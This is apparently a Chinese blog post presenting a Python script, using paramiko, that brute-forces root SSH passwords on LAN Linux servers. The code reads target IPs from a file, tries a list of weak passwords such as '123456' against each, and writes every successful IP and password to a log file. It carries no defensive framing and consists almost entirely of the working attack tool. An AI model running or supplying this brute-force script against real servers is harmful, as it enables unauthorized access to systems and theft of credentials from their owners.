python自动登录SSH(暴力破解局网LINUX服务器登录密码)

# -*- coding: utf-8 -*-
import paramiko
import os
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#client.connect('192.168.8.248', 22, username='root', password='password', timeout=4)

def write_log(ip_str,password):
	log_file = "find_pass.txt"
	file = open(log_file,'a')
	file.write(ip_str+'|'+password+os.linesep)
	file.close()

def ssh_connect(ip,username,password):
	global client
	try:
		client.connect(ip, 22, username=username, password=password, timeout=4)
		write_log(ip,password)
		print "ip: %s is login success,password is %s" % (ip,password)
	except:
		print "ip: %s login has no pass" % ip
		#client.close()
		
if __name__=='__main__':
	pwd_dic = ['123456','111111','222222','888888','999999','666666']
	if os.path.exists('ip_log.txt'):
		for ip in open("ip_log.txt").readlines():
			for pwd in pwd_dic:
				ssh_connect(ip,'root',pwd)
	else:
		print "ip_log is not exists"
	client.close()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值